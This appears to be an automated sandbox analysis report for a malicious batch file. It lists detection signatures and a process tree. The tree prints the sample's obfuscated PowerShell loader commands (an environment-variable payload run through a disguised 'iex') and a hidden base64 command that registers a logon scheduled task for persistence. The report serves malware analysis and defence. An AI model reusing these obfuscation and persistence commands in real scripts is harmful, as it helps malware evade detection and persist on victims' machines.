Analysis
- user interaction
yes - max time kernel
33s - max time network
34s - platform
windows11-21h2_x64 - resource
win11-20260911-de - resource tags
- submitted
10/11/2026, 04:16
General
- Target Tsundere_Reconstruction/originalpayloads/01_client.bat
- Size 2.9MB
- Sample261110-ewbsfscg72
- SHA256 7f1fadf85554c4326086218aa9b62d34602b086edac9b1a47ce6236c36cb013f
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in System32 directory 1 IoCs
- Drops file in Windows directory 4 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Tsundere_Reconstruction\originalpayloads\01_client.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -C "$cS=$env:uDF0+$env:uDF1+$env:uDF2+$env:uDF3+$env:uDF4+$env:uDF5+$env:uDF6+$env:uDF7+$env:uDF8+$env:uDF9+$env:uDF10+$env:uDF11;$env:paATzJtXuvag=$cS;$LO='xi'+'e';$cS|&($LO[1]+$LO[2]+$LO[0])"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$z=$env:paATzJtXuvag;$JeD='ix'+'e';& ($JeD[0]+$JeD[2]+$JeD[1]) $z"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -NonInteractive -EncodedCommand JAB0ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFAAUABxAEcARwBYAGkAVQAnACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBjAG0AZAAuAGUAeABlACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALwBjACAAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGQAUQB4AG0AZgBOAGgASQBcAGQAUQB4AG0AZgBOAGgASQAuAGIAYQB0ACIAJwApACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAApACAALQBGAG8AcgBjAGUA4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
- System Location Discovery: System Language Discovery
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ydrolh32.vgq.ps1
memory/532-45-0x000001E167130000-0x000001E16714C000-memory.dmp
memory/532-44-0x000001E167660000-0x000001E1676AA000-memory.dmp
memory/532-43-0x000001E166FB0000-0x000001E166FBA000-memory.dmp
memory/532-42-0x000001E167070000-0x000001E167123000-memory.dmp
memory/532-41-0x000001E166F90000-0x000001E166FAC000-memory.dmp
memory/4036-25-0x000001C1F3900000-0x000001C1F3910000-memory.dmp
memory/4036-49-0x000001C1F2110000-0x000001C1F2118000-memory.dmp
memory/4036-17-0x000001C1F3900000-0x000001C1F3910000-memory.dmp
memory/4036-53-0x000001C1F3900000-0x000001C1F3910000-memory.dmp
memory/4036-52-0x000001C1F3900000-0x000001C1F3910000-memory.dmp
memory/4036-26-0x000001C1F5A10000-0x000001C1F5ABA000-memory.dmp
memory/4036-51-0x000001C1F3900000-0x000001C1F3910000-memory.dmp
memory/4036-50-0x000001C1F38B0000-0x000001C1F38FC000-memory.dmp
memory/4036-16-0x000001C1F3900000-0x000001C1F3910000-memory.dmp
memory/4036-48-0x000001C1F3890000-0x000001C1F38A6000-memory.dmp
memory/4036-47-0x000001C1F5E30000-0x000001C1F5EE6000-memory.dmp
memory/4688-0-0x000002D34E7A0000-0x000002D34E7B0000-memory.dmp
memory/4688-2-0x000002D3509B0000-0x000002D350A36000-memory.dmp
memory/4688-10-0x000002D34E740000-0x000002D34E750000-memory.dmp
memory/4688-3-0x000002D34E760000-0x000002D34E782000-memory.dmp
memory/4688-12-0x000002D350B50000-0x000002D350C54000-memory.dmp
memory/4688-1-0x000002D34E7A0000-0x000002D34E7B0000-memory.dmp
memory/4688-11-0x000002D34E7A0000-0x000002D34E7B0000-memory.dmp